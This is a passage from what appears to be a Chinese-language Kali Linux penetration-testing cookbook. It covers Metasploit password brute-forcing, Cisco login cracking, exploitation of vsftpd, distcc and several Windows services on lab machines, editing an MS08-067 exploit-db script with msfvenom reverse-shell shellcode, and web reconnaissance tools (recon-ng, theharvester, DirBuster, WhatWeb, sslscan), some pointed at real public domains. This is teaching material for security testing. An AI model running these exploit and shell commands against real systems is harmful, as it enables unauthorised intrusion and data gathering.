扫描器将启动,并且任何成功的尝试都将以绿色突出显示。请查看以下截屏:

操作步骤...

它是如何工作的...

我们向 Metasploit 框架提供信息,包括字典路径、用户名和其他相关信息。一旦完成,我们就可以运行并导致模块执行。Metasploit 启动模块并开始暴力破解以找到正确的密码(如果在字典中可用)。让我们了解一些命令:

  • use auxiliary/scanner/mysql/mysql_login:在这个命令中,我们指定了将提供用户名列表的mysql插件

  • set stop_on_success true:这基本上设置了一旦找到有效密码就停止脚本的参数

  • set pass_file /usr/share/wordlists/rockyou.txt:在这个命令中,我们指定了脚本要引用的密码文件,以执行攻击

如果在任何时候你不知道该做什么,你可以在 Metasploit 终端中发出show options命令。一旦设置了use (plugin)命令,它将提供执行脚本所需和非必需的参数。

还有更多...

Metasploit 是一个丰富的框架。建议查看其他扫描器模块和为基于 SQL 的服务器破解提供的选项。

使用自定义单词表破解思科登录

在这个教程中,我们将看到如何访问思科设备,我们将使用 Kali 中可用的工具。我们将使用一个名为 CAT 的工具来执行这个活动。CAT 代表思科审计工具。这是一个 Perl 脚本,用于扫描思科路由器的常见漏洞。

准备工作

为了进行这个练习,我们已经设置了一个带有简单密码的思科设备,以演示这个活动。我们不需要任何外部工具,因为一切都在 Kali 中可用。

如何做...

  1. 我们在192.168.1.88上设置了一个思科路由器。如前所述,我们将使用CAT如何做...

  2. 我们使用了一个自定义的用户名和密码单词表,其中包含以下详细信息:如何做...

  3. 一旦你进入 Metasploit 控制台,输入以下命令:

 CAT -h 192.168.1.88 -w /root/Desktop/cisco_users -a
/root/Desktop/cisco_pass

输出将如下截图所示:

如何做...

  1. 正如你所看到的,它攻击服务以检查有效凭据,并且如果在单词列表中找到有效密码,则获取它。

工作原理...

我们使用了以下命令:

  • -h:这个命令告诉脚本设备的主机 IP

  • -w:这个命令告诉脚本要使用的用户列表来进行攻击

  • -a:这个命令告诉脚本要使用的密码列表来进行攻击

还有更多...

还有其他功能,比如-i-l-q,读者可以将其作为这个教程的练习来应用到思科设备上。

利用易受攻击的服务(Unix)

在这个教程中,我们将利用网络层的漏洞。这些漏洞是软件级别的漏洞。当我们谈论软件时,我们明确指的是使用网络/端口来运行的软件/包。例如,FTP 服务器,SSH 服务器,HTTP 等。这个教程将涵盖两种风格的一些漏洞,Unix 和 Windows。让我们从 UNIX 利用开始。

准备工作

我们将在这个模块中使用 Metasploit;确保在初始化 Metasploit 之前启动 PostgreSQL。我们将快速回顾一下我们在执行漏洞扫描时在 Metasploitable2 中发现的漏洞:

注意

IP 不同,因为作者已经更改了内部网络的 VLAN。

漏洞扫描输出将如下所示:

准备工作

这个教程的先决条件是要知道你的 IP 地址,因为它将用于在 Metasploit 中设置 Lhost。让我们从这里选取一些漏洞,以了解易受攻击服务的利用是如何发生的。

如何做...

  1. 启动 PostgreSQL,然后启动msfconsole
      service postgresql start
      msfconsole

输出将如下截图所示:

如何做...

  1. 我们将利用vsftpd漏洞。在运行msfconsole的终端中输入以下内容:
      search vsftpd
      use exploit/unix/ftp/vsftpd_234_backdoor
      set rhost <Target IP Address>
      set payload cmd/unix/interact
      set lhost <Your IP Address>
      exploit

输出将如下截图所示:

如何做...

  1. 利用成功运行,并且我们已经进入了系统的根目录。让我们来看看我们在对 Metasploitable 2 进行漏洞评估扫描时发现的另一个漏洞。在终端中输入以下命令:
      search distcc
      use exploit/unix/misc/distcc_exec
      set payload cmd/unix/bind_perl
      set rhost <Target IP address>
      exploit

输出将如下截图所示:

如何做...

工作原理...

Metasploit 是一个提供了很多功能的框架,从枚举、利用到帮助编写利用。我们上面看到的是 Metasploit 利用的一个示例。让我们了解一下在前面的vsftpd场景中发生了什么:

  • 搜索 vsftpd:这将在 Metasploit 数据库中搜索与vsftpd相关的任何信息

  • use (exploit): 这指定了我们想要准备执行的利用

  • set lhost: 这将设置我们机器的本地主机 IP 以获取一个反向 shell

  • set rhost: 这将设置目标 IP 以启动利用

  • set payload (payload path): 这指定了在成功完成利用后我们想要执行的操作

还有更多...

Metasploit 还提供了社区版的图形界面版本。建议查看一下。可以在www.offensive-security.com/metasploit-unleashed/找到使用 Metasploit 的详细指南。

利用有漏洞的服务(Windows)

在这个步骤中,我们将利用 Windows 中的有漏洞服务。为了理解这一部分,我们有一个运行着一些有漏洞软件的 Windows 7 系统。我们将进行快速枚举,找到漏洞,并使用 Metasploit 进行利用。

准备工作

为了开始利用,我们需要一个有漏洞的 Windows 操作系统。获取该机器的 IP。除此之外,我们还需要在CLI命令行界面)中初始化 Metasploit 框架。我们已经准备就绪。

如何操作...

  1. 一旦 Windows 7 镜像被下载,运行一个nmap扫描以找到可用的服务。在终端中运行以下命令:
nmap -sT -sV -T4 -p 1-65535  <IP address>

输出将如下截屏所示:

如何操作...

  1. 如你所见,远程机器上运行着三个有趣的软件;它们是Konica Minolta FTP Utility ftpd 1.00Easy File Sharing HTTP Server 6.9以及运行在1610116102端口上的服务。通过在 Google 上查找,可以发现它正在运行Blue Coat 身份验证和授权代理。我们检查exploit-db以查看它们中是否有任何一个有漏洞:如何操作...

Konica Minolta FTP 有漏洞:

如何操作...

Blue Coat 身份验证和授权代理(BCAAA)有漏洞:

如何操作...

Easy File Sharing HTTP Server 7.2 也有漏洞。让我们看看它们是否可以被利用。

  1. 我们将首先测试 FTP。在 Metasploit 控制台中输入以下命令开始:
      use exploit/windows/ftp/kmftp_utility_cwd
      set rhost <Target IP address>
      set payload windows/shell_bind_tcp
      exploit

输出将如下截屏所示:

如何操作...

  1. 我们成功地得到了一个 shell。现在让我们测试 Easy File Sharing HTTP Server。在 Metasploit 终端中输入以下命令:
      use exploit/windows/http/easyfilesharing_seh
      set rhost <Target IP address>
      set payload windows/shell_bind_tcp
      exploit

输出将如下截屏所示:

如何操作...

  1. 我们也成功地完成了这个:我们得到了一个 shell。现在,让我们检查最后一个软件,Blue Coat 身份验证和授权代理,看看它是否容易受到利用。在 Metasploit 终端中输入以下命令:
      use exploit/windows/misc/bcaaa_bof
      set rhost <Target IP address>
      set payload windows/shell_bind_tcp
      exploit

输出将如下截屏所示:

如何操作...

我们已成功利用了所有三个漏洞。这完成了这个步骤。

它是如何工作的...

我们之前已经看到了 Metasploit 如何用于利用。除了我们在之前的步骤中看到和使用的命令之外,没有使用新的命令。唯一的区别是调用use函数来加载给定的漏洞。

set payload windows/shell_bind_tcp命令是一个单一的载荷,没有涉及到多个阶段。在成功利用后,它会打开一个端口,等待连接的 shell。一旦我们发送了利用,Metasploit 就会访问打开的端口,然后我们就有了一个 shell。

还有更多...

有各种其他方法可以进入系统;在我们开始利用之前,确保进行适当的信息收集非常重要。有了这个,我们完成了我们的网络利用。在下一章中,我们将讨论后期利用。

利用 exploit-db 脚本来利用服务

在这个步骤中,我们将利用 Windows SMB 服务ms08_067,使用 Metasploit 框架之外的利用代码。渗透测试人员经常依赖 Metasploit 进行他们的渗透测试活动,然而,重要的是要理解这些是运行的自定义脚本,并且接受远程主机端口等动态输入。在这个步骤中,我们将看到如何调整漏洞脚本以匹配我们的目标并成功利用它。

准备工作

对于这个步骤,我们需要使用我们一直在测试的易受攻击的 Windows 机器,以及 Kali 机器本身提供的其余工具和脚本。

如何做...

  1. 首先让我们看看如何使用searchsploitexploit-db数据库中搜索ms08-067漏洞,使用以下命令:
searchsploit ms08-067

输出将如下截图所示:

如何做...

  1. 我们可以看到有一个名为“Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067)”的 Python 脚本可用。现在我们读取 Python 文件的内容,文件路径是/usr/share/exploitdb/platforms/windows/remote/40279.py。在桌面上复制一份相同的文件。如何做...

  2. 在阅读文件时,发现脚本使用了一个连接到不同 IP 和端口的自定义有效载荷:如何做...

  3. 所以我们必须首先编辑代码,并将我们想要执行的有效载荷指向我们的 IP 地址和端口。为了做到这一点,我们将使用msfvenom创建我们的有效载荷,以便我们可以让这个脚本执行。在 Kali 终端上输入以下命令,为 Kali IP 创建一个用于反向连接的 Python shell 代码:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali IP
Address> LPORT=443 EXITFUNC=thread -b "x00x0ax0dx5cx5fx2f
x2ex40" -f python -a x86

输出将如下截图所示:

如何做...

  1. 请注意,生成的有效载荷为 380 字节。复制生成的整个buf行,并将其粘贴到一个文件中,将单词buf重命名为shellcode,因为我们使用的脚本使用单词shellcode进行有效载荷传递。文本文件看起来像这样:如何做...

请注意我们已经删除了第一行,buf = ""

现在我们需要非常小心:在 Python 脚本中提到他们的有效载荷大小为 380 字节,其余部分已填充 nops 以调整传递。我们必须确保相同,所以如果有 10 个 nops 和 380 字节的代码,我们假设有 390 字节的传递,所以如果我们生成的 shell 代码是 385 字节,我们只会添加 5 个 nops 以保持我们的缓冲区恒定。在目前的情况下,新的有效载荷大小也是 380,所以我们不需要处理 NOP。现在我们将用我们创建的新 shell 代码替换原始 shell 代码。因此,用新生成的 shell 代码替换以下突出显示的文本:

如何做...

请注意,我们已经在/x90 NOP 代码之后替换了整个 shell 代码。

  1. 一旦代码被替换,保存并关闭文件。启动 Metasploit,并输入以下命令,在 Kali 机器上的端口443上启动监听器,就像我们创建有效载荷时提到的那样:
      msfconsole
      use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set lhost <Kali IP address>
      set lport 443
      exploit

输出将如下截图所示:

如何做...

  1. 现在,一旦我们的处理程序启动,我们将执行 Python 脚本,并提到目标 IP 地址和操作系统。转到已编辑文件被复制的桌面,并执行 Python 文件。由于它存储在桌面上,执行以下命令:
python 40279.py 192.168.1.11.1

输出将如下截图所示:

如何做...

  1. 一旦脚本执行完毕,请返回监听器,查看是否已收到连接:操作步骤...

太棒了,我们使用 exploit-db 上可用的脚本获得了远程 shell。

工作原理...

其中大部分已在步行说明中解释。这里介绍的新工具是 msfvenom。以下是所使用参数的解释:

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3
LPORT=443 EXITFUNC=thread -b "x00x0ax0dx5cx5fx2fx2ex40"
-f python -a x86

  • -p:这是需要创建的 payload。

  • LHOST:主机,机器应连接到以进行利用。

  • LPORT:机器应连接到的端口以进行利用。

  • -b:这代表坏字符。它告诉脚本在生成 shell code 时避免使用所述字符。

  • -f:这说明了要创建的 shell code 的格式。

  • -a:这说明了目标机器的架构,利用将在其上执行。

还有更多...

这只是对如何编辑脚本以满足我们需求进行执行的基本理解。此活动旨在向读者介绍 shell code 替换的概念。exploit-db 上有许多与各种利用相关的脚本。

第五章:Web 应用程序信息收集

在本章中,我们将涵盖以下内容:

  • 为 recon-ng 设置 API 秘钥

  • 使用 recon-ng 进行侦察

  • 使用 theharvester 收集信息

  • 使用 DNS 协议进行信息收集

  • Web 应用程序防火墙检测

  • HTTP 和 DNS 负载均衡器检测

  • 使用 DirBuster 发现隐藏的文件/目录

  • 使用 WhatWeb 和 p0f 检测 CMS 和插件

  • 查找 SSL 密码漏洞

介绍

攻击的一个最重要的阶段是信息收集。

为了能够发动成功的攻击,我们需要尽可能多地收集关于目标的信息。因此,我们获得的信息越多,成功攻击的可能性就越高。

同样重要的是,不仅收集信息,而且以清晰的方式记录信息也非常重要。Kali Linux 发行版有几个工具,可以从各种目标机器中记录、整理和组织信息,从而实现更好的侦察。诸如DradisCaseFileKeepNote之类的工具就是其中的一些例子。

为 recon-ng 设置 API 秘钥

在这个教程中,我们将看到在开始使用 recon-ng 之前,我们需要设置 API 秘钥。Recon-ng 是最强大的信息收集工具之一;如果使用正确,它可以帮助渗透测试人员从公共来源收集相当多的信息。最新版本的 recon-ng 提供了灵活性,可以将其设置为各种社交网络网站中的自己的应用程序/客户端。

准备工作

对于这个教程,您需要一个互联网连接和一个网络浏览器。

如何操作...

  1. 要设置 recon-ng API 秘钥,打开终端,启动 recon-ng,并输入以下截图中显示的命令:操作步骤...

  2. 接下来,输入keys list,如下截图所示:操作步骤...

  3. 让我们首先添加twitter_apitwitter_secret。登录 Twitter,转到apps.twitter.com/,并创建一个新的应用程序,如下截图所示:操作步骤...

  4. 点击创建应用程序;一旦应用程序创建完成,转到Keys and Access Tokens选项卡,并复制秘钥和 API 秘钥,如下截图所示:操作步骤...

  5. 复制 API 秘钥,重新打开终端窗口,并运行以下命令以添加秘钥:

Keys add twitter_api <your-copied-api-key>

  1. 现在使用以下命令输入twitter_secret到 recon-ng 中:
keys add  twitter_secret <you_twitter_secret>

  1. 添加了秘钥后,您可以通过输入以下命令在 recon-ng 工具中看到添加的秘钥:
keys list

  1. 现在,让我们添加 Shodan API 秘钥。添加 Shodan API 秘钥非常简单;你只需要在shodan.io创建一个帐户,然后点击右上角的My Account。您将看到Account Overview页面,在那里您可以看到一个 QR 码图像和 API 秘钥,如下截图所示:操作步骤...

  2. 复制您帐户中显示的 API 秘钥,并使用以下命令将其添加到 recon-ng 中:

keys add shodan_api <apikey>

它是如何工作的...

在这个教程中,我们学习了如何将 API 秘钥添加到 recon-ng 工具中。在这里,为了演示这一点,我们创建了一个 Twitter 应用程序,使用了twitter_apitwitter_secret,并将它们添加到了 recon-ng 工具中。结果如下截图所示:

它是如何工作的...

类似地,如果您想要从这些来源收集信息,您需要在 recon-ng 中包含所有的 API 秘钥。

在下一个教程中,我们将学习如何使用 recon-ng 进行信息收集。

使用 recon-ng 进行侦察

在这个教程中,我们将学习使用 recon-ng 进行侦察。Recon-ng 是一个用 Python 编写的全功能 Web 侦察框架。具有独立模块、数据库交互、内置便利函数、交互式帮助和命令完成,recon-ng 提供了一个强大的环境,可以快速而彻底地进行开源基于 Web 的侦察。

准备工作

在安装 Kali Linux 之前,您需要一个互联网连接。

操作步骤...

  1. 打开终端并启动 recon-ng 框架,如下面的屏幕截图所示:操作步骤...

  2. Recon-ng 看起来和感觉像 Metasploit。要查看所有可用的模块,请输入以下命令:

show modules

  1. Recon-ng 将列出所有可用的模块,如下面的屏幕截图所示:操作步骤...

  2. 让我们继续使用我们的第一个信息收集模块;输入以下命令:

use recon/domains-vulnerabilities/punkspider

  1. 现在,输入以下屏幕截图中显示的命令:操作步骤...

  2. 如您所见,已经发现了一些漏洞,并且它们是公开可用的。

  3. 让我们使用另一个模块,从xssed.com获取任何已知和报告的漏洞。XSSed 项目由 KF 和 DP 于 2007 年 2 月初创建。它提供有关跨站脚本漏洞相关的所有信息,并且是最大的 XSS 易受攻击网站的在线存档。这是一个收集 XSS 信息的良好存储库。首先,输入以下命令:

      Show module
      use recon/domains-vulnerabilities/xssed
      Show Options
      Set source Microsoft.com
      Show Options
      RUN

您将看到以下屏幕截图中显示的输出:

操作步骤...

  1. 如您所见,recon-ng 已经从 XSSed 汇总了公开可用的漏洞,如下面的屏幕截图所示:操作步骤...

  2. 同样,您可以继续使用不同的模块,直到获得有关目标的所需信息。

使用 theharvester 收集信息

在这个教程中,我们将学习使用 theharvester。该程序的目标是从不同的公共来源(如搜索引擎、PGP 密钥服务器和 Shodan 计算机数据库)收集电子邮件、子域、主机、员工姓名、开放端口和横幅。

准备工作

对于这个教程,您需要一个互联网连接。

操作步骤...

  1. 打开终端并启动 theharvester,如下面的屏幕截图所示:操作步骤...

  2. theharvester 帮助还显示了示例语法。为了演示目的,我们将使用以下命令:

# theharvester -d visa.com -l 500 -b all

  1. 成功执行上述命令将给出以下信息:
*******************************************************************
    *                                                                 *    * | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
 * | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
 * | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
 *  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
 *                                                                 *
    * TheHarvester Ver. 2.5                                           *
    * Coded by Christian Martorella                                   *
    * Edge-Security Research                                          *
    * cmartorella@edge-security.com                                   *
    *******************************************************************
Full harvest..
[-] Searching in Google..
 Searching 0 results...
 Searching 100 results...
 Searching 200 results...
[-] Searching in PGP Key server..
[-] Searching in Bing..
 Searching 50 results...
 Searching 100 results...
 ...
[-] Searching in Exalead..
 Searching 50 results...
 Searching 100 results...
 ...
[+] Emails found:
------------------
phishing@visa.com
vpp@visa.com
v@e-visa.com
...
[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs... 
23.57.249.100:usa.visa.com
23.57.249.100:www.visa.com
...
[+] Virtual hosts:
==================
50.56.17.39  jobs.<strong>visa<
50.56.17.39  jobs.visa.com
...

工作原理...

在这个教程中,theharvester 搜索不同的来源,如搜索引擎、PGP 密钥服务器和 Shodan 计算机数据库,以获取信息。对于想要了解攻击者可以看到有关其组织的信息的任何人来说,这也是有用的。您可以访问tools.kali.org/information-gathering/theharvester获取更多信息,如项目主页和 GitHub 代码存储库。

在第 2 步中,-d代表域,-l限制结果的数量,-b代表数据源。在我们的情况下,我们有-b作为查找电子邮件和数据源中可用的公共主机的手段。

使用 DNS 协议进行信息收集

在这个教程中,我们将学习使用各种可用的工具/脚本来收集有关您的 Web 应用程序域的信息。DNS代表域名系统,如果您正在执行黑盒测试,它可以为您提供大量信息。

准备工作

对于这个教程,您需要一个互联网连接。

操作步骤...

  1. 我们将使用 DNSenum 进行 DNS 枚举。要开始 DNS 枚举,打开终端并输入以下命令:
dnsenum --enum zonetransfer.me

  1. 我们应该得到一些信息,比如主机、域名服务器、电子邮件服务器,如果幸运的话,还有区域传输:操作步骤...

  2. 接下来,DNSRecon 工具也可以在 Kali Linux 中使用。DNSRecon 通常是首选的选择,因为它更可靠,结果被正确解析,并且可以轻松地导入到其他漏洞评估和利用工具中。

  3. 要使用 DNSRecon,请打开终端并输入以下命令:

      dnsrecon -d zonetransfer.me -D /usr/share/wordlists/dnsmap.txt      -t std --xml dnsrecon.xml

  1. 枚举结果输出如下:操作步骤...

它是如何工作的...

在这个教程中,我们使用了 DNSenum 来枚举各种 DNS 记录,如 NS、MX、SOA 和 PTR 记录。DNSenum 还尝试执行 DNS 区域传输,如果存在漏洞。然而,DNSRecon 是一个更强大的 DNS 工具。它具有高度可靠的、更好的结果解析和更好的结果集成到其他 VA/利用工具中。

在第 4 步,使用-d命令进行域扫描开关,大写-D用于对主机名执行字典暴力破解,-D的参数应指向一个单词列表,例如/usr/share/wordlists/dnsmap.txt,为了指定这是一个标准扫描,我们使用了(-t std)开关,并将输出保存到一个文件(-xml dnsrecon.xml)。

还有更多...

Kali Linux 中有多个可用的脚本,其中一些脚本或多或少地执行相同的操作。根据您的评估类型和可用时间,您应该考虑使用以下 DNS 工具:

  • DNSMap:DNSmap 主要用于渗透测试人员在基础设施安全评估的信息收集/枚举阶段使用。在枚举阶段,安全顾问通常会发现目标公司的 IP 网络块、域名、电话号码等。

  • DNSTracer:这确定给定 DNS 从哪里获取其信息,并跟踪 DNS 服务器链返回到知道数据的服务器。

  • Fierce:这是专门用于定位可能的目标,无论是在公司网络内还是外部。只列出那些目标(除非使用-nopattern开关)。不执行利用(除非您使用-connect开关故意进行恶意操作)。Fierce 是一种侦察工具。Fierce 是一个 Perl 脚本,可以使用多种策略快速扫描域(通常只需几分钟,假设没有网络延迟)。

Web 应用程序防火墙检测

在这个教程中,我们将学习使用一个名为WAFW00F的工具。WAFW00F 可以识别和指纹Web 应用程序防火墙WAF)产品。

准备工作

对于这个教程,您需要一个互联网连接。

如何操作...

  1. WAFW00F 非常简单易用。只需打开终端并输入以下命令:
wafw00f https://www.microsoft.com

输出将如下截图所示:

操作步骤...

  1. 同样,您可以不断更改目标域以查找 Web 应用程序防火墙的存在。

它是如何工作的...

在这个教程中,我们使用了 WAFW00F 来识别是否有任何 Web 应用程序防火墙正在运行。准确检测 Web 应用程序防火墙可以帮助您在渗透测试期间节省大量时间。

WAFW00F 的工作方式如下:

  • 它发送一个正常的 HTTP 请求并分析响应;这可以识别多个 WAF 解决方案

  • 如果不成功,它会发送一些(可能恶意的)HTTP 请求,并使用简单的逻辑来推断是哪种 WAF

  • 如果这也不成功,它会分析先前返回的响应,并使用另一个简单的算法来猜测是否有 WAF 或安全解决方案正在积极响应我们的攻击

有关更多详细信息,请查看主站点上的源代码,github.com/sandrogauci/wafw00f

HTTP 和 DNS 负载均衡器检测

在这个示例中,我们将学习如何使用 lbd 检测 HTTP 和 DNS 负载均衡器。Lbd负载均衡检测器)检测给定域名是否使用 DNS 和/或 HTTP 负载均衡(通过服务器和日期:标头以及服务器响应之间的差异)。

准备工作

对于这个示例,您需要一个互联网连接。

如何操作...

  1. 打开终端并输入以下命令:
lbd google.com

  1. 成功检测到 HTTP 和 DNS 负载均衡器将产生以下输出:如何操作...

  2. 另一个例子是检测到 DNS 负载均衡器和 HTTP 负载均衡器,如下截图所示:如何操作...

  3. 需要在这里理解的一件事是,lbd 并不完全可靠;它只是一个检查负载均衡是否完成的概念验证。您可以在终端上阅读到它可能产生误报,但这是一个很棒的工具。如何操作...

  4. 另一个可以帮助我们了解 DNS 负载均衡器是否真的存在的工具是 dig 工具。让我们更详细地看一下;输入以下命令:

dig A google.com

输出将如下截图所示:

如何操作...

  1. ANSWER SECTION显示了microsoft.com的不同基于 DNS 的负载均衡器。用于测试基于 HTTP 的负载均衡器的工具是 Halberd。为了检查 Halberd 的工作原理,请在 Kali 终端中输入以下内容:
halberd http://www.vmware.com

输出将如下截图所示:

如何操作...

工作原理...

在这个示例中,我们使用 lbd 来查找 DNS 和 HTTP 负载均衡器。在渗透测试的早期阶段获得这些信息可以节省很多时间,因为您可以选择适当的工具和方法,找到 Web 应用程序安全问题。

这个命令lbd kali.org非常简单。Ldb 是工具名称,它接受一个参数,即需要检查的域名或 IP 名称。前述工具的工作原理如下所述:

  • Lbd:这个工具基于两个参数进行负载均衡:DNS 和 HTTP。对于 DNS,它通常使用轮询技术来确定是否存在多个负载均衡器。对于 HTTP,负载均衡是通过 cookies 进行检查;它通过会话状态检查不同的请求是否由负载均衡器后面实际的服务器发送和接收。另一种 HTTP 方法是时间戳;它试图检测时间戳的差异,以帮助我们检测是否存在负载均衡器。在前述例子中,我们看到负载均衡器是基于内容长度区分的。

  • DIG:这代表Domain Information Groper,是一个枚举给定域的详细信息的 Linux 命令。我们使用 A 记录来检查 groper 上可用的 DNS 服务器,以确定是否存在基于 DNS 的负载均衡器。多个 A 记录条目通常表明存在 DNS 负载均衡器。

  • Halberd:这是一个基于 HTTP 的负载均衡器检测器。它检查 HTTP 响应头、cookies、时间戳等的差异。在上述参数中的任何差异都将证明存在基于 HTTP 的负载均衡器。在前面的例子中,我们检查 VMware 上是否存在基于 HTTP 的负载均衡器,如果我们发现检测到两个不同的实例,一个具有 Akamai 标头,另一个没有相同的标头。

使用 DirBuster 发现隐藏文件/目录

在这个示例中,我们将学习如何使用 DirBuster 工具。DirBuster 工具查找 Web 服务器上的隐藏目录和文件。有时,开发人员会留下一个可访问但未链接的页面;DirBuster 旨在找到这些可能存在潜在漏洞的文件。这是一个由 OWASP 的出色贡献者开发的基于 Java 的应用程序。

准备工作

对于这个步骤,您需要一个互联网连接。

如何操作...

  1. Kali Linux | Web 应用程序分析 | Web 爬虫和目录暴力 | Dirbuster启动 DirBuster,如下面的屏幕截图所示:如何操作...

  2. 打开 DirBuster 并输入您的目标 URL;在我们的案例中,我们将输入http://demo.testfire.net以进行演示,如下面的屏幕截图所示:如何操作...

  3. 基于选择列表的暴力破解。浏览并导航到/usr/share/dirbuster/wordlists,然后选择directory_list_medium.txt,如下面的屏幕截图所示:如何操作...

  4. 单击选择列表并在文件扩展名列中输入php(根据目标使用的技术),如下面的屏幕截图所示:如何操作...

  5. 单击开始,DirBuster 将开始暴力破解目录和文件,如下面的屏幕截图所示:如何操作...

  6. 正如您所看到的,DirBuster 已经开始暴力破解文件和目录。您可以单击响应列以对所有具有200 HTTP 代码的文件/文件夹进行排序,如下面的屏幕截图所示:如何操作...

  7. 现在,您可以花一些时间访问这些链接,并调查哪些看起来有趣并且可以用于进一步攻击。例如,在我们的案例文件中,/pr/docs.xml文件似乎是独立的文件,位于服务器上,没有在站点地图或robots.txt文件中提到。右键单击该条目,然后选择在浏览器中打开,如下面的屏幕截图所示:如何操作...

  8. 文件已在浏览器中打开;正如您所看到的,这是一个 XML 文件,本来不应该是公共文件,它在应用程序中也没有链接,但是可以访问,如下面的屏幕截图所示:如何操作...

  9. 同样,您可以继续调查其他文件和文件夹,这些文件和文件夹可能泄露大量信息,或者一些备份文件或开发页面,这些可能存在漏洞。

工作原理...

在这个步骤中,我们使用了 DirBuster 来查找 Web 服务器上可用的隐藏目录和文件。DirBuster 生成了一个包含最常见 Web 服务器目录的字典文件,并从字典中读取值并向 Web 服务器发出请求以检查其存在。如果服务器返回 200 HTTP 头代码,这意味着该目录存在;如果服务器返回 404 HTTP 头代码,这意味着该目录不存在。但是,重要的是要注意,401 和 403 的 HTTP 状态代码也可能指向文件或目录的存在,但除非经过身份验证,否则不允许打开。

与此同时,一些构建良好的应用程序也会对未知文件和文件夹返回 200 OK,以干扰 DirBuster 等工具。因此,了解应用程序的行为方式非常重要,基于这一点,您可以进一步调整您的扫描策略和配置。

通过这种方式,我们能够找到某些未在应用程序中链接但在 Web 服务器上可用的文件和文件夹。

使用 WhatWeb 和 p0f 进行 CMS 和插件检测

在这个步骤中,我们将学习如何使用 Kali 中提供的不同工具,这些工具可以用来确定已安装的插件。如果应用程序是基于 CMS 构建的,那么它们很可能会使用某些插件。通常存在的主要漏洞通常是开发人员在这些 CMS 中使用的第三方插件。查找已安装的插件及其版本可以帮助您寻找可用于易受攻击插件的漏洞利用。

准备工作

对于这个步骤,您需要一个互联网连接。

如何操作...

  1. 让我们从 Kali Linux 中的第一个工具WhatWeb开始。WhatWeb 用于识别网站。它的目标是回答问题:“那是什么网站?”WhatWeb 可以识别 Web 技术,包括内容管理系统CMS)、博客平台、统计/分析软件包、JavaScript 库、Web 服务器和嵌入式设备。WhatWeb 有超过 900 个插件,每个插件用于识别不同的东西。WhatWeb 还可以识别版本号、电子邮件地址、帐户 ID、Web 框架模块、SQL 错误等。WhatWeb 非常易于使用。打开终端并输入以下命令:
whatweb ishangirdhar.com

输出如下屏幕截图所示:

如何操作...

  1. 如您所见,它非常准确地发现了这是一个 WordPress 安装。它还检测到了 DNS 和 HTTP 负载均衡器使用的常见插件。

  2. 假设您已经发现您的一个目标正在使用 WordPress 或 Drupal 作为 CMS,并且您想进一步查找已安装的插件、它们的版本以及该插件的最新可用版本。

  3. Plecost 是 Kali 中另一个流行的工具,用于检测 CMS 插件和 WordPress 指纹识别。

  4. 打开终端并输入以下命令:

      plecost -n 100 -s 10 -M 15 -i /usr/share/plecost      /wp_plugin_list.txt ishangirdhar.com

这个语法意味着使用 100 个插件(-n 100),在探测之间休眠 10 秒(-s 10),但不超过 15 个(-M 15),并使用插件列表(-i /usr/share/plecost/wp_plugin_list.txt)来扫描给定的 URL(ishangirdhar.com)。

工作原理...

在这个教程中,我们学会了使用 WhatWeb,它可以非常准确地对服务器进行指纹识别,并提供 CMS、插件、Web 服务器版本、使用的编程语言以及 HTTP 和 DNS 负载均衡器的详细信息。在本教程的后面,我们还学会了使用 plecost 来扫描 WordPress 安装以对已安装的 WordPress 插件进行指纹识别。

大多数 WhatWeb 插件都非常全面,可以识别从微妙到明显的各种线索。例如,大多数 WordPress 网站可以通过 meta HTML 标签进行识别,但少数 WordPress 网站会删除这个标识标签,尽管这并不会阻止 WhatWeb。WordPress WhatWeb 插件有超过 15 个测试,包括检查 favicon、默认安装文件、登录页面,并检查相对链接中是否包含/wp-content/

WordPress 指纹识别工具plecost,可以搜索并检索运行 WordPress 的服务器上关于插件及其版本的信息。它可以分析单个 URL,也可以根据 Google 索引的结果进行分析。此外,它还显示与每个插件相关的 CVE 代码(如果有的话)。Plecost 检索包含在 WordPress 支持的网站上的信息,并且还允许在 Google 索引的结果上进行搜索。

还有更多...

除了我们刚刚看到的之外,还有其他可用的工具。例如,用于扫描 WordPress、Drupal 和 Joomla 的工具如下:

查找 SSL 密码漏洞

在这个教程中,我们将学习使用工具来扫描易受攻击的 SSL 密码和与 SSL 相关的漏洞。

准备工作

对于这个教程,您需要一个互联网连接。

如何操作...

  1. 打开终端并启动 SSLScan 工具,如下面的屏幕截图所示:如何操作...

  2. 要使用 SSLScan 扫描目标,请运行以下命令:

sslscan demo.testfire.net

  1. SSLScan 将测试 SSL 证书支持的所有密码。弱密码将显示为红色和黄色。强密码将显示为绿色:
root@Intrusion-Exploitation:~# sslscan demo.testfire.net
Version: -static
OpenSSL 1.0.1m-dev xx XXX xxxx
Testing SSL server demo.testfire.net on port 443
 TLS renegotiation:
Secure session renegotiation supported
 TLS Compression:
Compression disabled
 Heartbleed:
TLS 1.0 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.2 not vulnerable to heartbleed
 Supported Server Cipher(s):
Accepted  SSLv3    128 bits  RC4-SHA
Accepted  SSLv3    128 bits  RC4-MD5
Accepted  SSLv3    112 bits  DES-CBC3-SHA
Accepted  TLSv1.0  256 bits  ECDHE-RSA-AES256-SHA
Accepted  TLSv1.0  256 bits  AES256-SHA
Accepted  TLSv1.0  128 bits  ECDHE-RSA-AES128-SHA
Accepted  TLSv1.0  128 bits  AES128-SHA
Accepted  TLSv1.0  128 bits  RC4-SHA
Accepted  TLSv1.0  128 bits  RC4-MD5
Accepted  TLSv1.0  112 bits  DES-CBC3-SHA
Accepted  TLSv1.1  256 bits  ECDHE-RSA-AES256-SHA
Accepted  TLSv1.1  256 bits  AES256-SHA
Accepted  TLSv1.1  128 bits  ECDHE-RSA-AES128-SHA
Accepted  TLSv1.1  128 bits  AES128-SHA
Accepted  TLSv1.1  128 bits  RC4-SHA
Accepted  TLSv1.1  128 bits  RC4-MD5
Accepted  TLSv1.1  112 bits  DES-CBC3-SHA
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA
